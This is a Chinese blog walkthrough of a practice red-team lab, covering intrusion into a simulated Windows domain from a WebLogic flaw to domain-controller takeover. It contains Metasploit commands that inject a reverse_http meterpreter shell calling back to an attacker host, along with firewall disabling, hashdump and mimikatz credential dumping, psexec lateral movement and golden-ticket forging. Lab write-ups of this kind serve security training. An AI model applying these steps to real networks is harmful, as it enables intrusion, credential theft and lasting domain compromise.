ATT&CK红队评估实战靶场二

已于 2024-01-05 22:19:33 修改
阅读量261 收藏 1
点赞数
文章标签： 笔记
于 2023-09-25 19:00:46 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51151498/article/details/132912393
版权

描述

红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。

靶场地址：漏洞详情

环境说明：10.10.10.1/24

DMZ网段：192.168.1.0/24

DC：10.10.10.10

WEB:10.10.10.80\192.168.1.8

PC：10.10.10.20\192.168.1.11

WEB机器开启WebLogic服务

C:\Oracle\Middleware\user_projects\domains\base_domain\bin 

startWebLogic---以管理员身份运行

b1be26f087a442d587fa5e80bfe7cd67.png

这个窗口不要关闭

fd482ad5d1d84e4da2ebfdcd1e7c9bc0.png

一、信息收集

扫描WEB主机

nmap -sV -T4 192.168.1.8

d294332d2d714a138d79aab3c6c7233d.png

访问80端口，是空白

访问7001端口，发现是WebLogic服务

a1531c503e1047188c37e8f8698ff41a.png

访问控制台：192.168.1.8:7001/console/login/LoginForm.jsp

尝试弱口令登录，被拒绝

dd4a2b156166432593779038493c02b7.png

WeblogicScan 扫描漏洞

发现CVE-2019-2725

537d82f2b31042fb88a53d5402e0325e.png

56ada560e2eb4cb486b7f4f369835803.png

先将防火墙和360关闭

9e533eb1909847478557c0acb4d83a2b.png

web主机存在两个网段

2cba1ebad01241aa851841449c6f4de3.png

上线CS

创建侦听

04ee0c52d20e4675a89dc3f13cf8da33.png

MSF转发会话

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.1.134
set lport 8855
set session 1

489cdc6a3c9f49f796d2aa1becc48593.png

33cd65c9755d46b3b7727f4dc9021d4f.png

CS收到会话

设置睡眠：sleep 1

6ff0ea243e0040d7962f0b325565ae40.png

提升权限

利用插件：MS14-058漏洞提升权限

74f03692fd0542c5a8408b7b797f9ccf.png

扫描端口

explore--port scan--选择10.10.10.0网段扫描

0b43da6c4df94f46b785684764b54f4a.png

发现三台内网主机

获取hash

hashdump           #获取hash

logonpasswords  #获取明文密码

2a6e32233d344f5e99c3e872b21fb59a.png

查看域控

关闭防火墙：netsh advfirewall set allprofiles state off
查看有几个域：net view /domain
查看域名：net config workstation
查看域内主机：net view
查询域内用户：net user /domain
查看域管理员：net group "domain admins" /domain  

d65dac62669c4b6daba701f9badc138c.png

使用CS自带功能，RunMinikatz获取hash和明文密码

创建SMB侦听器

name：自定义

payload：选择beacon SMB

save

Psexec

目标需要开放445端口和admin

上线DC

 选择de1ay\administrator账户

Listener选择刚才创建的SMB

session选择

上线DC

上线PC与上线DC步骤一致

权限维持

在域控获得KRBTGT账户NTLM密码哈希和SID，然后复制保存到记事本！

域名：de1ay.com

黄金票据利用

黄金票据是伪造票据授予票据（TGT），也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心（KDC）证明用户已被其他域控制器认证。

黄金票据的条件要求：

1.域名称

2.域的SID值

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限，上面已经获得域控的 system 权限了，还可以使用黄金票据做权限维持，当失去域控权限时，内其他在通过域任意机器伪造票据重新获取最高权限。

WEB主机 Administrator账户权限-t>右键->Access->Golden Ticket

伪造成功

查看当前系统的票据：

mimikatz kerberos::list

可以访问域控

使用当前令牌登录PC

勾选Use session's current access token

参考：

ATT&CK实战系列——红队实战（二）-腾讯云开发者社区-腾讯云

- Time
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ATT&CK红队评估（红日靶场二）
weixin_45682839的博客
04-11 2722
靶场搭建 靶场下载地址：漏洞详情 一共有三台主机：WEB、DC、PC WEB主机有两张网卡，第一张网卡NAT，第二张网卡选择一个仅主机模式的网络（vmvare可以通过编辑里的虚拟网络编辑器进行添加或修改网络）这里我选择的是创建的仅主机vmnet15网络 DC主机只有一张网卡，选择和WEB第二章网卡一样的vmnet15网络 PC有两张网卡，配置和WEB主机一样，第一张网卡NAT，第二张网卡vmnet15 网络设置完成后进行开机 WEB主机以administrator第一次登录时没
ATT&CK 知识库（企业）中文版1
08-03
**ATT&CK 知识库（企业）中文版1** **初始访问** 初始访问是攻击者进入目标网络或系统的最初步骤，通常涉及多种技术来获取对目标环境的立足点。以下是一些主要的初始访问方法： 1. **路过式下载**：攻击者利用...
ATT&CK红队评估实战靶场二【胎儿教学】
weixin_47536169的博客
11-19 1924
ATT&CK红队评估实战靶场二【胎儿教学】
ATT&CK红队评估实战靶场（二）
最新发布
qq_44005305的博客
02-21 1011
vulunstack!x-oss-
ATT&CK红队评估实战靶场(二)
qq_45951598的博客
03-09 1184
文章目录网段扫描 靶场下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ DC IP：10.10.10.10 OS：Windows 2012 应用：AD域 WEB（初始的状态默认密码无法登录，切换用户 de1ay/1qaz@WSX 登录进去） IP1：10.10.10.80 IP2：192.168.111.80 OS：Windows 2008 应用：Weblogic 10.3.6 MSSQL 2008 PC IP1：10.10.10.201 IP2
Windows系统——ATT&CK红队评估实战靶场(二)——CS方式
qq_44029310的博客
09-04 1695
本文涉及知识点有：环境搭建，nmap使用，weblogic反序列化漏洞利用，内网信息收集，防火墙相关，MS15-051和MS14-058提权，mimikatz抓取密码和凭证，fscan使用，SMB beacon横向移动相关，psexec横向移动相关，cobaltstrike的使用等。
ATT&CK中文手册.zip
11-24
一、Initial Access(入口点) 二、Execution(命令执行) 三、Persistence(持久化) 四、Privilege Escalation(权限提升) 五、Defense Evasion(绕过防御) 六、Credential Access(获取凭证) 七、Discovery(基础信息收集) ...
ATT&CK.红队战术漫谈.pdf
09-09
ATT&CK.红队战术漫谈
ATT&CK手册(修改版)
09-16
ATT&CK手册(修改版)
[VulnStack] ATT&CK实战系列—红队实战（二）
weixin_45605352的博客
08-27 1074
0x00 环境搭建 靶机环境是红日团队开源的一个红队实战测试环境，靶机下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码：1qaz@WSX 配置网卡，仅主机模式192.168.10.0网段模拟内网，192.
ATK&CK红队评估靶场 (二)
m0_58177121的博客
08-21 561
相关环境配置 WEB服务器：Windows server 2008 NAT模式+仅主机模式（需要以用户de1aly登录，本地登录时账户administrator没有密码，需要重新创建密码1qaz@WSX） WEB机的C:\Oracle\Middleware\user_projects\domains\base_domain\bin下有一个startWeblogic的批处理，管理员身份运行它即可，管理员账号密码：Administrator/1qaz@WSX WEB机和PC机：计算机右键->管理-&
记ATT&CK实战系列-红队实战（二） 红日靶场
shulao2010的博客
05-21 729
如何通过一个简单的web漏洞，打开通往内网的大门
ATT&CK实战系列——红队实战（二）
Tajang的大千世界
02-22 734
红日二
ATT&CK实战系列—红队实战-2
Beret-81的博客
04-27 1019
ATT&CK实战系列—红队实战-20、靶场简介1、信息收集2、漏洞分析2.1 漏洞扫描2.2 漏洞验证3、漏洞利用3.1 CVE-2019-2725 Getshell3.2 主机信息收集4、权限提升4.1 使用 msf 提权4.2 CVE-2019-1388：Windows UAC 本地提权4.3 获取hash&账号密码5、权限维持--注册表运行键5.1 Metasploit 内置模块5.2 命令行--手工创建6、横向渗透6.1 代理转发6.2 域内信息收集6.3 内网横向--域控1、使用
【学习】| ATT&CK红队评估实战靶场
FJawen的博客
05-18 855
【学习】| ATK&CK红队评估实战靶场（一）的搭建和模拟攻击过程全过程 目录 0x01 前言 本靶机环境是红日团队开源的一个红队实战测试环境，靶机下载地址如下： http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 通过模拟真实环境搭建的漏洞靶场，完全模拟ATK&CK攻击链路进行搭建，形成完整个闭环。虚拟机默认密码为hongrisec@2019。 0x02 环境搭建 0x03 攻入内网 3.1. 信息收集 3.2. 漏洞利用 3.3 CS上线G
红日安全vulnstack-ATT&CK实战系列 红队实战(二)
遇事不决冲冲冲
02-05 6372
红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码：1qaz@WSX
ATT&CK实战系列-红队评估（二）WP
h1nt的博客
08-15 779
环境搭建 靶场下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 根据平台介绍，虚拟机的密码统一为1qaz@WSX 将虚拟机导入后更改WEB靶机的IPV4地址为你所使用的NAT网段中的任意地址 这里注意可能一开始WEB靶机的账号密码不对，方法是使用Administrator账号登录，然后改回来即可 在目录 C:\Oracle\Middleware\user_projects\domains\base_domain 下有startWeblog
ATT\\\\&CK红队评估实战靶场四
08-16
ATT&CK红队评估实战靶场四是一个实战训练场景，其中使用了phpmyadmin来利用数据库日志写入马来获取会话。具体的方法和之前的红日靶场一类似，你可以去查看相关链接了解更多细节。在攻击机要访问52网段的资源时，可以使用session 4作为下一跳进行路由设置。可以通过routeprint命令查看路由表，并使用routeadd命令添加相应的路由。此外，可以通过将SSH公钥添加到/home/ubuntu/.ssh/authorized_keys文件来实现免密登录到目标机器。具体命令是将SSH公钥追加到该文件中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ATT&CK红队评估（红日靶场四）](https://blog.csdn.net/weixin_45682839/article/details/124485070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [ATT&CK红队评估实战靶场-1(全网最细)](https://blog.csdn.net/qq_40638006/article/details/122033546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值